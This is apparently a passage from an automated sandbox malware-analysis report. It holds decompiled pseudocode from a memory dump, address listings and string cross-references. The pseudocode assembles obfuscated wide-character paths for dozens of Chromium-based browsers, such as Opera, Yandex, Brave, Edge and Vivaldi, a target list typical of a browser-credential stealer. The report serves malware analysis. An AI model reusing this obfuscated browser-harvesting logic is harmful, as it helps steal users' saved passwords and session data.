						E0001A490(_t16, _t767, __eflags, _t766, _t16, 3, 0);
						_t17 = _t767 + 0x16a8; // 0x48c499a8
						E0001A490(_t16, _t767, __eflags, _t766, _t17, 1, 0);
						 *(_t767 + 0x1498) = E0002C200(_t16);
						_t19 = _t767 + 0x16a8; // 0x48c499a8
						 *(_t767 + 0x149c) = E0002C200(_t19);
						_t509 =  *(_t767 + 0x1498);
						__eflags = _t509;
						if(_t509 != 0) {
							__eflags =  *((short*)(_t767 + 0x149e + _t509 * 2)) - 0x5c;
							if( *((short*)(_t767 + 0x149e + _t509 * 2)) != 0x5c) {
								 *((short*)(_t767 + 0x14a0 + _t509 * 2)) = 0x5c;
								_t28 = _t767 + 0x1498;
								 *_t28 =  *(_t767 + 0x1498) + 1;
								__eflags =  *_t28;
							}
						}
						_t510 =  *(_t767 + 0x149c);
						__eflags = _t510;
						if(_t510 != 0) {
							__eflags =  *((short*)(_t767 + 0x16a6 + _t510 * 2)) - 0x5c;
							if( *((short*)(_t767 + 0x16a6 + _t510 * 2)) != 0x5c) {
								 *((short*)(_t767 + 0x16a8 + _t510 * 2)) = 0x5c;
								_t37 = _t767 + 0x149c;
								 *_t37 =  *(_t767 + 0x149c) + 1;
								__eflags =  *_t37;
							}
						}
						_v292 = 0x560041;
						_v288 = 0x5c0047;
						_v284 = 0x720042;
						_v280 = 0x77006f;
						_v276 = 0x650073;
						_v272 = 0x72;
						_t47 = E0002C200( &_v292) + 2; // 0x2
						_t49 = _t767 + 0x4d8; // 0x48c487d8
						E0002BF10(_t49,  &_v292, _t512 + _t47);
						_v28 = 0x69004b;
						_v24 = 0x7a006e;
						_v20 = 0x61;
						_t55 = E0002C200( &_v28) + 2; // 0x2
						_t57 = _t767 + 0x518; // 0x48c48818
						E0002BF10(_t57,  &_v28, _t515 + _t55);
						_v244 = 0x520055;
						_v240 = 0x720042;
						_v236 = 0x77006f;
						_v232 = 0x650073;
						_v228 = 0x72;
						_t65 = E0002C200( &_v244) + 2; // 0x2
						_t67 = _t767 + 0x558; // 0x48c48858
						E0002BF10(_t67,  &_v244, _t519 + _t65);
						_v912 = 0x560041;
						_v908 = 0x530041;
						_v904 = 0x200054;
						_v900 = 0x6f0053;
						_v896 = 0x740066;
						_v892 = 0x610077;
						_v888 = 0x650072;
						_v884 = 0x42005c;
						_v880 = 0x6f0072;
						_v876 = 0x730077;
						_v872 = 0x720065;
						_v868 = 0;
						_t82 = E0002C200( &_v912) + 2; // 0x2
						_t84 = _t767 + 0x598; // 0x48c48898
						E0002BF10(_t84,  &_v912, _t523 + _t82);
						_v204 = 0x610053;
						_v200 = 0x61006c;
						_v196 = 0x57006d;
						_v192 = 0x620065;
						_v188 = 0;
						_t92 = E0002C200( &_v204) + 2; // 0x2
						_t94 = _t767 + 0x5d8; // 0x48c488d8
						E0002BF10(_t94,  &_v204, _t527 + _t92);
						_v604 = 0x430043;
						_v600 = 0x65006c;
						_v596 = 0x6e0061;
						_v592 = 0x720065;
						_v588 = 0x420020;
						_v584 = 0x6f0072;
						_v580 = 0x730077;
						_v576 = 0x720065;
						_v572 = 0;
						_t106 = E0002C200( &_v604) + 2; // 0x2
						_t108 = _t767 + 0x618; // 0x48c48918
						E0002BF10(_t108,  &_v604, _t531 + _t106);
						_v500 = 0x70004f;
						_v496 = 0x720065;
						_v492 = 0x200061;
						_v488 = 0x6f0053;
						_v484 = 0x740066;
						_v480 = 0x610077;
						_v476 = 0x650072;
						_v472 = 0;
						_t534 = E0002C200( &_v500);
						_t121 = _t767 + 0x658; // 0x48c48958
						E0002BF10(_t121,  &_v500, _t534 + _t534 + 2);
						_v684 = 0x610059;
						_v680 = 0x64006e;
						_v676 = 0x780065;
						_v672 = 0x59005c;
						_v668 = 0x6e0061;
						_v664 = 0x650064;
						_v660 = 0x420078;
						_v656 = 0x6f0072;
						_v652 = 0x730077;
						_v648 = 0x720065;
						_v644 = 0;
						_t135 = E0002C200( &_v684) + 2; // 0x2
						_t137 = _t767 + 0x698; // 0x48c48998
						E0002BF10(_t137,  &_v684, _t538 + _t135);
						_v148 = 0x6c0053;
						_v144 = 0x6d0069;
						_v140 = 0x65006a;
						_v136 = 0x74;
						_t144 = E0002C200( &_v148) + 2; // 0x2
						_t146 = _t767 + 0x6d8; // 0x48c489d8
						E0002BF10(_t146,  &_v148, _t542 + _t144);
						_v568 = 0x360033;
						_v564 = 0x430030;
						_v560 = 0x720068;
						_v556 = 0x6d006f;
						_v552 = 0x5c0065;
						_v548 = 0x680043;
						_v544 = 0x6f0072;
						_v540 = 0x65006d;
						_v536 = 0;
						_t158 = E0002C200( &_v568) + 2; // 0x2
						_t160 = _t767 + 0x718; // 0x48c48a18
						E0002BF10(_t160,  &_v568, _t546 + _t158);
						_v344 = 0x6f0043;
						_v340 = 0x6f006d;
						_v336 = 0x6f0064;
						_v332 = 0x44005c;
						_v328 = 0x610072;
						_v324 = 0x6f0067;
						_v320 = 0x6e;
						_t170 = E0002C200( &_v344) + 2; // 0x2
						_t172 = _t767 + 0x758; // 0x48c48a58
						E0002BF10(_t172,  &_v344, _t550 + _t170);
						_v864 = 0x61004d;
						_v860 = 0x6c0070;
						_v856 = 0x530065;
						_v852 = 0x750074;
						_v848 = 0x690064;
						_v844 = 0x5c006f;
						_v840 = 0x680043;
						_v836 = 0x6f0072;
						_v832 = 0x65006d;
						_v828 = 0x6c0050;
						_v824 = 0x730075;
						_v820 = 0;
						_t187 = E0002C200( &_v864) + 2; // 0x2
						_t189 = _t767 + 0x798; // 0x48c48a98
						E0002BF10(_t189,  &_v864, _t554 + _t187);
						_v184 = 0x680043;
						_v180 = 0x6f0072;
						_v176 = 0x69006d;
						_v172 = 0x6d0075;
						_v168 = 0;
						_t197 = E0002C200( &_v184) + 2; // 0x2
						_t199 = _t767 + 0x7d8; // 0x48c48ad8
						E0002BF10(_t199,  &_v184, _t558 + _t197);
						_v52 = 0x6f0054;
						_v48 = 0x630072;
						_v44 = 0x68;
						_t561 = E0002C200( &_v52);
						_t207 = _t767 + 0x818; // 0x48c48b18
						E0002BF10(_t207,  &_v52, _t561 + _t561 + 2);
						_v1020 = 0x720042;
						_v1016 = 0x760061;
						_v1012 = 0x530065;
						_v1008 = 0x66006f;
						_v1004 = 0x770074;
						_v1000 = 0x720061;
						_v996 = 0x5c0065;
						_v992 = 0x720042;
						_v988 = 0x760061;
						_v984 = 0x2d0065;
						_v980 = 0x720042;
						_v976 = 0x77006f;
						_v972 = 0x650073;
						_v968 = 0x72;
						_t224 = E0002C200( &_v1020) + 2; // 0x2
						_t226 = _t767 + 0x858; // 0x48c48b58
						E0002BF10(_t226,  &_v1020, _t564 + _t224);
						_v116 = 0x720049;
						_v112 = 0x640069;
						_v108 = 0x750069;
						_v104 = 0x6d;
						_t233 = E0002C200( &_v116) + 2; // 0x2
						_t235 = _t767 + 0x898; // 0x48c48b98
						E0002BF10(_t235,  &_v116, _t567 + _t233);
						_v964 = 0x70004f;
						_v960 = 0x720065;
						_v956 = 0x200061;
						_v952 = 0x6f0053;
						_v948 = 0x740066;
						_v944 = 0x610077;
						_v940 = 0x650072;
						_v936 = 0x4f005c;
						_v932 = 0x650070;
						_v928 = 0x610072;
						_v924 = 0x4e0020;
						_v920 = 0x6f0065;
						_v916 = 0x6e;
						_t251 = E0002C200( &_v964) + 2; // 0x2
						_t253 = _t767 + 0x8d8; // 0x48c48bd8
						E0002BF10(_t253,  &_v964, _t570 + _t251);
						_v268 = 0x530037;
						_v264 = 0x610074;
						_v260 = 0x5c0072;
						_v256 = 0x530037;
						_v252 = 0x610074;
						_v248 = 0x72;
						_t573 = E0002C200( &_v268);
						_t264 = _t767 + 0x918; // 0x48c48c18
						E0002BF10(_t264,  &_v268, _t573 + _t573 + 2);
						_v40 = 0x6d0041;
						_v36 = 0x670069;
						_v32 = 0x6f;
						_t270 = E0002C200( &_v40) + 2; // 0x2
						_t272 = _t767 + 0x958; // 0x48c48c58
						E0002BF10(_t272,  &_v40, _t577 + _t270);
						_v16 = 0x6c0042;
						_v12 = 0x730069;
						_v8 = 0x6b;
						_t278 = E0002C200( &_v16) + 2; // 0x2
						_t280 = _t767 + 0x998; // 0x48c48c98
						E0002BF10(_t280,  &_v16, _t580 + _t278);
						_v316 = 0x650043;
						_v312 = 0x74006e;
						_v308 = 0x720042;
						_v304 = 0x77006f;
						_v300 = 0x650073;
						_v296 = 0x72;
						_t583 = E0002C200( &_v316);
						_t291 = _t767 + 0x9d8; // 0x48c48cd8
						E0002BF10(_t291,  &_v316, _t583 + _t583 + 2);
						_v68 = 0x680043;
						_v64 = 0x640065;
						_v60 = 0x74006f;
						_v56 = 0;
						_t298 = E0002C200( &_v68) + 2; // 0x2
						_t300 = _t767 + 0xa18; // 0x48c48d18
						E0002BF10(_t300,  &_v68, _t587 + _t298);
						_v468 = 0x6f0043;
						_v464 = 0x430063;
						_v460 = 0x63006f;
						_v456 = 0x42005c;
						_v452 = 0x6f0072;
						_v448 = 0x730077;
						_v444 = 0x720065;
						_v440 = 0;
						_t590 = E0002C200( &_v468);
						_t313 = _t767 + 0xa58; // 0x48c48d58
						E0002BF10(_t313,  &_v468, _t590 + _t590 + 2);
						_v640 = 0x6c0045;
						_v636 = 0x6d0065;
						_v632 = 0x6e0065;
						_v628 = 0x730074;
						_v624 = 0x420020;
						_v620 = 0x6f0072;
						_v616 = 0x730077;
						_v612 = 0x720065;
						_v608 = 0;
						_t593 = E0002C200( &_v640);
						_t327 = _t767 + 0xa98; // 0x48c48d98
						E0002BF10(_t327,  &_v640, _t593 + _t593 + 2);
						_v772 = 0x700045;
						_v768 = 0x630069;
						_v764 = 0x500020;
						_v760 = 0x690072;
						_v756 = 0x610076;
						_v752 = 0x790063;
						_v748 = 0x420020;
						_v744 = 0x6f0072;
						_v740 = 0x730077;
						_v736 = 0x720065;
						_v732 = 0;
						_t341 = E0002C200( &_v772) + 2; // 0x2
						_t343 = _t767 + 0xad8; // 0x48c48dd8
						E0002BF10(_t343,  &_v772, _t597 + _t341);
						_v84 = 0x6f004b;
						_v80 = 0x65006d;
						_v76 = 0x610074;
						_v72 = 0;
						_t600 = E0002C200( &_v84);
						_t352 = _t767 + 0xb18; // 0x48c48e18
						E0002BF10(_t352,  &_v84, _t600 + _t600 + 2);
						_v132 = 0x72004f;
						_v128 = 0x690062;
						_v124 = 0x750074;
						_v120 = 0x6d;
						_t603 = E0002C200( &_v132);
						_t361 = _t767 + 0xb58; // 0x48c48e58
						E0002BF10(_t361,  &_v132, _t603 + _t603 + 2);
						_v532 = 0x700053;
						_v528 = 0x740075;
						_v524 = 0x69006e;
						_v520 = 0x5c006b;
						_v516 = 0x700053;
						_v512 = 0x740075;
						_v508 = 0x69006e;
						_v504 = 0x6b;
						_t372 = E0002C200( &_v532) + 2; // 0x2
						_t374 = _t767 + 0xb98; // 0x48c48e98
						E0002BF10(_t374,  &_v532, _t606 + _t372);
						_v436 = 0x430075;
						_v432 = 0x7a006f;
						_v428 = 0x65004d;
						_v424 = 0x690064;
						_v420 = 0x5c0061;
						_v416 = 0x720055;
						_v412 = 0x6e0061;
						_v408 = 0;
						_t609 = E0002C200( &_v436);
						_t387 = _t767 + 0xbd8; // 0x48c48ed8
						E0002BF10(_t387,  &_v436, _t609 + _t609 + 2);
						_v728 = 0x650046;
						_v724 = 0x72006e;
						_v720 = 0x720069;
						_v716 = 0x490020;
						_v712 = 0x63006e;
						_v708 = 0x53005c;
						_v704 = 0x65006c;
						_v700 = 0x700069;
						_v696 = 0x69006e;
						_v692 = 0x350072;
						_v688 = 0;
						_t401 = E0002C200( &_v728) + 2; // 0x2
						_t403 = _t767 + 0xc18; // 0x48c48f18
						E0002BF10(_t403,  &_v728, _t613 + _t401);
						_v816 = 0x610043;
						_v812 = 0x610074;
						_v808 = 0x69006c;
						_v804 = 0x61006e;
						_v800 = 0x720047;
						_v796 = 0x75006f;
						_v792 = 0x5c0070;
						_v788 = 0x690043;
						_v784 = 0x720074;
						_v780 = 0x6f0069;
						_v776 = 0;
						_t417 = E0002C200( &_v816) + 2; // 0x2
						_t419 = _t767 + 0xc58; // 0x48c48f58
						E0002BF10(_t419,  &_v816, _t617 + _t417);
						_v372 = 0x6f0043;
						_v368 = 0x77006f;
						_v364 = 0x6e006f;
						_v360 = 0x43005c;
						_v356 = 0x6f006f;
						_v352 = 0x6f0077;
						_v348 = 0x6e;
						_t429 = E0002C200( &_v372) + 2; // 0x2
						_t431 = _t767 + 0xc98; // 0x48c48f98
						E0002BF10(_t431,  &_v372, _t620 + _t429);
						_v100 = 0x69006c;
						_v96 = 0x620065;
						_v92 = 0x6f0061;
						_v88 = 0;
						_t438 = E0002C200( &_v100) + 2; // 0x2
						_t440 = _t767 + 0xcd8; // 0x48c48fd8
						E0002BF10(_t440,  &_v100, _t624 + _t438);
						_v224 = 0x490051;
						_v220 = 0x200050;
						_v216 = 0x750053;
						_v212 = 0x660072;
						_v208 = 0;
						_t448 = E0002C200( &_v224) + 2; // 0x2
						_t450 = _t767 + 0xd18; // 0x48c49018
						E0002BF10(_t450,  &_v224, _t628 + _t448);
						_v404 = 0x69004d;
						_v400 = 0x720063;
						_v396 = 0x73006f;
						_v392 = 0x66006f;
						_v388 = 0x5c0074;
						_v384 = 0x640045;
						_v380 = 0x650067;
						_v376 = 0;
						_t631 = E0002C200( &_v404);
						_t463 = _t767 + 0xd58; // 0x48c49058
						E0002BF10(_t463,  &_v404, _t631 + _t631 + 2);
						_v164 = 0x690056;
						_v160 = 0x610076;
						_v156 = 0x64006c;
						_v152 = 0x69;
						E0002BF10(_t767 + 0xd98,  &_v164, E0002C200( &_v164) + _t634 + 2);
						_v1084 = 0xa000d;
						_v1080 = 0x680043;
						_v1076 = 0x6f0072;
						_v1072 = 0x69006d;
						_v1068 = 0x6d0075;
						_v1064 = 0x520020;
						__eflags = 0;
						_v1040 = 0;
						_v1036 = 0;
						_v1032 = 0;
						_v1028 = 0;
						_v1024 = 0;
						_push( &_v1084);
						_v1060 = 0x630065;
						_v1056 = 0x76006f;
						if (0 <= 0) goto L11;
						_v1052 = 0x720065;
						_v1048 = 0xd0079;
						_v1044 = 0xa;
						_t490 = E0002C200() + 2; // 0x2
						_t491 = _t766 + 0xa08; // 0xc4830001
						E0002BF10( *_t491,  &_v1084, _t639 + _t490);
						_t493 = _t766 + 0xa08; // 0xc4830001
						_t643 = E0002C200( *_t493) + _t642;
						__eflags = _t643;
						 *(_t766 + 0xa0c) = _t643;
						E0001D410(_t766, 0xc);
						return 1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x0001dc2b
0x0001dc2e
0x0001dc2e
0x0001dc36
0x0001dc46
0x0001dc4e
0x0001dc56
0x0001dc5c
0x0001dc5e
0x00000000
0x0001dc60
0x0001dc6d
0x0001dc77
0x0001dc81
0x0001dc8b
0x0001dc95
0x0001dc9f
0x0001dca6
0x0001dcb7
0x0001dcc3
0x0001dcc7
0x0001dcd0
0x0001dcd8
0x0001dcdf
0x0001dce9
0x0001dcf4
0x0001dcfa
0x0001dd09
0x0001dd0f
0x0001dd19
0x0001dd1b
0x0001dd1d
0x0001dd26
0x0001dd2d
0x0001dd35
0x0001dd35
0x0001dd35
0x0001dd35
0x0001dd26
0x0001dd3b
0x0001dd41
0x0001dd43
0x0001dd45
0x0001dd4e
0x0001dd55
0x0001dd5d
0x0001dd5d
0x0001dd5d
0x0001dd5d
0x0001dd4e
0x0001dd6a
0x0001dd74
0x0001dd7e
0x0001dd88
0x0001dd92
0x0001dd9c
0x0001ddab
0x0001ddb7
0x0001ddbe
0x0001ddc7
0x0001ddce
0x0001ddd5
0x0001dde1
0x0001ddea
0x0001ddf1
0x0001ddfd
0x0001de07
0x0001de11
0x0001de1b
0x0001de25
0x0001de34
0x0001de40
0x0001de47
0x0001de55
0x0001de5f
0x0001de69
0x0001de73
0x0001de7d
0x0001de87
0x0001de91
0x0001de9b
0x0001dea5
0x0001deaf
0x0001deb9
0x0001dec3
0x0001decf
0x0001dedb
0x0001dee2
0x0001def3
0x0001defd
0x0001df07
0x0001df11
0x0001df1b
0x0001df27
0x0001df33
0x0001df3a
0x0001df48
0x0001df52
0x0001df5c
0x0001df66
0x0001df70
0x0001df7a
0x0001df84
0x0001df8e
0x0001df98
0x0001dfa4
0x0001dfb0
0x0001dfb7
0x0001dfc5
0x0001dfcf
0x0001dfd9
0x0001dfe3
0x0001dfed
0x0001dff7
0x0001e001
0x0001e00b
0x0001e012
0x0001e023
0x0001e02a
0x0001e038
0x0001e042
0x0001e04c
0x0001e056
0x0001e060
0x0001e06a
0x0001e074
0x0001e07e
0x0001e088
0x0001e092
0x0001e09c
0x0001e0a8
0x0001e0b4
0x0001e0bb
0x0001e0ca
0x0001e0d4
0x0001e0de
0x0001e0e8
0x0001e0f7
0x0001e103
0x0001e10a
0x0001e10f
0x0001e119
0x0001e12c
0x0001e136
0x0001e140
0x0001e14a
0x0001e154
0x0001e15e
0x0001e168
0x0001e174
0x0001e180
0x0001e187
0x0001e193
0x0001e19d
0x0001e1a7
0x0001e1b1
0x0001e1bb
0x0001e1c5
0x0001e1cf
0x0001e1de
0x0001e1ea
0x0001e1f1
0x0001e1ff
0x0001e209
0x0001e213
0x0001e21d
0x0001e227
0x0001e231
0x0001e23b
0x0001e245
0x0001e24f
0x0001e259
0x0001e263
0x0001e26d
0x0001e279
0x0001e285
0x0001e28c
0x0001e29d
0x0001e2a7
0x0001e2b1
0x0001e2bb
0x0001e2c5
0x0001e2d1
0x0001e2dd
0x0001e2e4
0x0001e2ed
0x0001e2f4
0x0001e2fb
0x0001e302
0x0001e310
0x0001e317
0x0001e323
0x0001e32d
0x0001e337
0x0001e341
0x0001e34b
0x0001e355
0x0001e35f
0x0001e369
0x0001e373
0x0001e37d
0x0001e387
0x0001e391
0x0001e39b
0x0001e3a5
0x0001e3b4
0x0001e3c0
0x0001e3c7
0x0001e3d0
0x0001e3d7
0x0001e3de
0x0001e3e5
0x0001e3f1
0x0001e3fa
0x0001e401
0x0001e410
0x0001e41a
0x0001e424
0x0001e42e
0x0001e438
0x0001e442
0x0001e44c
0x0001e456
0x0001e460
0x0001e46a
0x0001e474
0x0001e47e
0x0001e488
0x0001e497
0x0001e4a3
0x0001e4aa
0x0001e4b6
0x0001e4c0
0x0001e4ca
0x0001e4d4
0x0001e4de
0x0001e4e8
0x0001e4f2
0x0001e503
0x0001e50a
0x0001e513
0x0001e51a
0x0001e521
0x0001e52d
0x0001e536
0x0001e53d
0x0001e546
0x0001e54d
0x0001e554
0x0001e560
0x0001e569
0x0001e570
0x0001e57f
0x0001e589
0x0001e593
0x0001e59d
0x0001e5a7
0x0001e5b1
0x0001e5bb
0x0001e5cc
0x0001e5d3
0x0001e5de
0x0001e5e5
0x0001e5ec
0x0001e5f3
0x0001e5fc
0x0001e605
0x0001e60c
0x0001e61a
0x0001e624
0x0001e62e
0x0001e638
0x0001e642
0x0001e64c
0x0001e656
0x0001e660
0x0001e667
0x0001e678
0x0001e67f
0x0001e68d
0x0001e697
0x0001e6a1
0x0001e6ab
0x0001e6b5
0x0001e6bf
0x0001e6c9
0x0001e6d3
0x0001e6dd
0x0001e6e4
0x0001e6f5
0x0001e6fc
0x0001e70d
0x0001e717
0x0001e721
0x0001e72b
0x0001e735
0x0001e73f
0x0001e749
0x0001e753
0x0001e75d
0x0001e767
0x0001e771
0x0001e77d
0x0001e789
0x0001e790
0x0001e79b
0x0001e7a2
0x0001e7a9
0x0001e7b0
0x0001e7b4
0x0001e7c2
0x0001e7c9
0x0001e7d2
0x0001e7d9
0x0001e7e0
0x0001e7e7
0x0001e7ee
0x0001e7fc
0x0001e803
0x0001e808
0x0001e812
0x0001e81c
0x0001e826
0x0001e830
0x0001e83a
0x0001e844
0x0001e84e
0x0001e864
0x0001e870
0x0001e877
0x0001e888
0x0001e892
0x0001e89c
0x0001e8a6
0x0001e8b0
0x0001e8ba
0x0001e8c4
0x0001e8ce
0x0001e8d5
0x0001e8e6
0x0001e8ed
0x0001e8fb
0x0001e905
0x0001e90f
0x0001e919
0x0001e923
0x0001e92d
0x0001e937
0x0001e941
0x0001e94b
0x0001e955
0x0001e95f
0x0001e96b
0x0001e977
0x0001e97e
0x0001e98c
0x0001e996
0x0001e9a0
0x0001e9aa
0x0001e9b4
0x0001e9be
0x0001e9c8
0x0001e9d2
0x0001e9dc
0x0001e9e6
0x0001e9f0
0x0001e9fc
0x0001ea08
0x0001ea0f
0x0001ea14
0x0001ea1e
0x0001ea28
0x0001ea32
0x0001ea3c
0x0001ea46
0x0001ea50
0x0001ea66
0x0001ea72
0x0001ea79
0x0001ea87
0x0001ea8e
0x0001ea95
0x0001ea9c
0x0001eaa5
0x0001eaae
0x0001eab5
0x0001eac3
0x0001eacd
0x0001ead7
0x0001eae1
0x0001eaeb
0x0001eaf7
0x0001eb03
0x0001eb0a
0x0001eb18
0x0001eb22
0x0001eb2c
0x0001eb36
0x0001eb40
0x0001eb4a
0x0001eb54
0x0001eb5e
0x0001eb65
0x0001eb76
0x0001eb7d
0x0001eb89
0x0001eb93
0x0001eb9d
0x0001eba7
0x0001ebc9
0x0001ebd1
0x0001ebdb
0x0001ebe5
0x0001ebef
0x0001ebf9
0x0001ec03
0x0001ec0d
0x0001ec0f
0x0001ec15
0x0001ec1b
0x0001ec21
0x0001ec27
0x0001ec33
0x0001ec34
0x0001ec3e
0x0001ec46
0x0001ec48
0x0001ec52
0x0001ec5c
0x0001ec6b
0x0001ec6f
0x0001ec7e
0x0001ec83
0x0001ec8f
0x0001ec8f
0x0001ec94
0x0001ec9a
0x0001ecac
0x0001ecac
0x0001dc39
0x0001dc39
0x0001dc3f
0x0001dc3f

Strings

v, xrefs: 0001EB93
\, xrefs: 0001DC6D
t, xrefs: 0001EB40
u, xrefs: 0001E2BB
k, xrefs: 0001E554
r, xrefs: 0001E001
w, xrefs: 0001DF84
a, xrefs: 0001E060
o, xrefs: 0001EA3C
a, xrefs: 0001E373
D, xrefs: 0001DC8B
S, xrefs: 0001E42E
B, xrefs: 0001E546
l, xrefs: 0001DEFD
M, xrefs: 0001EB18
r, xrefs: 0001DD9C
l, xrefs: 0001E9A0
r, xrefs: 0001EAE1
j, xrefs: 0001E0DE
e, xrefs: 0001EC48
r, xrefs: 0001E3A5
S, xrefs: 0001E808
o, xrefs: 0001E59D
t, xrefs: 0001E4C0
C, xrefs: 0001E61A
B, xrefs: 0001E369
O, xrefs: 0001E7D2
B, xrefs: 0001DE07
a, xrefs: 0001E424
s, xrefs: 0001DE1B
b, xrefs: 0001E7D9
u, xrefs: 0001E888
i, xrefs: 0001E54D
C, xrefs: 0001E23B
i, xrefs: 0001EBA7
w, xrefs: 0001E6C9
K, xrefs: 0001E79B
e, xrefs: 0001E656
t, xrefs: 0001DC95
o, xrefs: 0001EC3E
B, xrefs: 0001E387
a, xrefs: 0001E32D
C, xrefs: 0001EBDB
r, xrefs: 0001DF7A
Y, xrefs: 0001E038
e, xrefs: 0001E213
o, xrefs: 0001E62E
e, xrefs: 0001E47E
e, xrefs: 0001E092
t, xrefs: 0001E6AB
v, xrefs: 0001E735
T, xrefs: 0001E2ED
i, xrefs: 0001E941
\, xrefs: 0001E92D
a, xrefs: 0001E8B0
, xrefs: 0001E6B5
d, xrefs: 0001E227
m, xrefs: 0001E3E5
h, xrefs: 0001E12C
m, xrefs: 0001E15E
e, xrefs: 0001DF11
a, xrefs: 0001DFD9
t, xrefs: 0001E4DE
n, xrefs: 0001E9AA
e, xrefs: 0001EA8E
o, xrefs: 0001E521
, xrefs: 0001EC03
7, xrefs: 0001E4D4
d, xrefs: 0001E1A7
o, xrefs: 0001E391
n, xrefs: 0001E923
, xrefs: 0001E721
7, xrefs: 0001E4B6
r, xrefs: 0001E72B
w, xrefs: 0001DEAF
r, xrefs: 0001E1BB
G, xrefs: 0001E9B4
r, xrefs: 0001E5B1
e, xrefs: 0001DF66
t, xrefs: 0001E7E0
E, xrefs: 0001E68D
d, xrefs: 0001E8A6
h, xrefs: 0001E2FB
r, xrefs: 0001E2A7
B, xrefs: 0001DD7E
M, xrefs: 0001E89C
\, xrefs: 0001E638
K, xrefs: 0001DDC7
n, xrefs: 0001E488
w, xrefs: 0001E442
n, xrefs: 0001E81C
r, xrefs: 0001E6BF
i, xrefs: 0001E717
s, xrefs: 0001DD92
w, xrefs: 0001E75D
t, xrefs: 0001E7A9
o, xrefs: 0001E9BE
l, xrefs: 0001EB9D
w, xrefs: 0001DE87
C, xrefs: 0001E193
i, xrefs: 0001E51A
C, xrefs: 0001DF48
E, xrefs: 0001EB4A
n, xrefs: 0001EA50
l, xrefs: 0001E937
e, xrefs: 0001E767
r, xrefs: 0001E07E
C, xrefs: 0001E14A
o, xrefs: 0001DD88
c, xrefs: 0001E624
l, xrefs: 0001DF52
k, xrefs: 0001E84E
w, xrefs: 0001E088
n, xrefs: 0001E844
w, xrefs: 0001EA46
o, xrefs: 0001E5EC
A, xrefs: 0001DE55
e, xrefs: 0001E697
\, xrefs: 0001E456
O, xrefs: 0001E410
o, xrefs: 0001EB36
t, xrefs: 0001E9DC
e, xrefs: 0001E04C
e, xrefs: 0001EC34
e, xrefs: 0001DEB9
A, xrefs: 0001DD6A
\, xrefs: 0001DE9B
r, xrefs: 0001E154
U, xrefs: 0001DDFD
r, xrefs: 0001E753
e, xrefs: 0001E5E5
B, xrefs: 0001E323
t, xrefs: 0001E34B
w, xrefs: 0001E64C
c, xrefs: 0001EB22
d, xrefs: 0001E06A
n, xrefs: 0001E905
s, xrefs: 0001E5A7
S, xrefs: 0001E0CA
p, xrefs: 0001E9C8
t, xrefs: 0001E0E8
o, xrefs: 0001E231
r, xrefs: 0001E44C
o, xrefs: 0001EB2C
a, xrefs: 0001DF5C
f, xrefs: 0001DFED
S, xrefs: 0001DFE3
V, xrefs: 0001EB89
a, xrefs: 0001E355
A, xrefs: 0001DE5F
G, xrefs: 0001DD74
n, xrefs: 0001E589
s, xrefs: 0001DC77
E, xrefs: 0001E70D
n, xrefs: 0001DDCE
o, xrefs: 0001E341
t, xrefs: 0001E21D
w, xrefs: 0001DFF7
P, xrefs: 0001EACD
P, xrefs: 0001E259
M, xrefs: 0001E1FF
i, xrefs: 0001E3DE
r, xrefs: 0001E4CA
r, xrefs: 0001E642
m, xrefs: 0001E19D
f, xrefs: 0001DE7D
S, xrefs: 0001EAD7
r, xrefs: 0001EBE5
S, xrefs: 0001E830
e, xrefs: 0001E6A1
r, xrefs: 0001E245
u, xrefs: 0001E263
n, xrefs: 0001E1CF
l, xrefs: 0001EA87
3, xrefs: 0001E10F
U, xrefs: 0001E8BA
n, xrefs: 0001E042
e, xrefs: 0001E6D3
, xrefs: 0001E749
r, xrefs: 0001E955
O, xrefs: 0001DFC5
\, xrefs: 0001E1B1
g, xrefs: 0001E1C5
C, xrefs: 0001E9D2
e, xrefs: 0001E37D
A, xrefs: 0001E513
0, xrefs: 0001E119
i, xrefs: 0001E9E6
C, xrefs: 0001E98C
r, xrefs: 0001DC81
a, xrefs: 0001DDD5
u, xrefs: 0001EBF9
o, xrefs: 0001E892
o, xrefs: 0001EA1E
, xrefs: 0001DF70
C, xrefs: 0001E57F
y, xrefs: 0001EC52
m, xrefs: 0001DF07
, xrefs: 0001E474
p, xrefs: 0001E460
m, xrefs: 0001E7A2
S, xrefs: 0001DEF3
i, xrefs: 0001E90F
a, xrefs: 0001E8C4
e, xrefs: 0001DF8E
r, xrefs: 0001DE91
r, xrefs: 0001E2F4
i, xrefs: 0001E0D4
C, xrefs: 0001E29D
\, xrefs: 0001E056
e, xrefs: 0001E35F
e, xrefs: 0001E41A
Q, xrefs: 0001EAC3
k, xrefs: 0001E826
T, xrefs: 0001DE69
B, xrefs: 0001E593
I, xrefs: 0001E3D0
e, xrefs: 0001E140
u, xrefs: 0001E83A
a, xrefs: 0001EA95
x, xrefs: 0001E074
s, xrefs: 0001E39B
e, xrefs: 0001DFCF
g, xrefs: 0001EB54
m, xrefs: 0001EBEF
i, xrefs: 0001E3D7
, xrefs: 0001E919
o, xrefs: 0001E136
e, xrefs: 0001E337
r, xrefs: 0001DE25
r, xrefs: 0001E4E8
o, xrefs: 0001EA28
C, xrefs: 0001EA14
t, xrefs: 0001E996
f, xrefs: 0001E438
c, xrefs: 0001E73F
r, xrefs: 0001E46A
\, xrefs: 0001EA32
m, xrefs: 0001E24F
m, xrefs: 0001E2B1
C, xrefs: 0001E5DE
n, xrefs: 0001E94B
m, xrefs: 0001E7E7
p, xrefs: 0001E209
r, xrefs: 0001DEA5
u, xrefs: 0001E812
S, xrefs: 0001DE73
o, xrefs: 0001DE11
F, xrefs: 0001E8FB

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
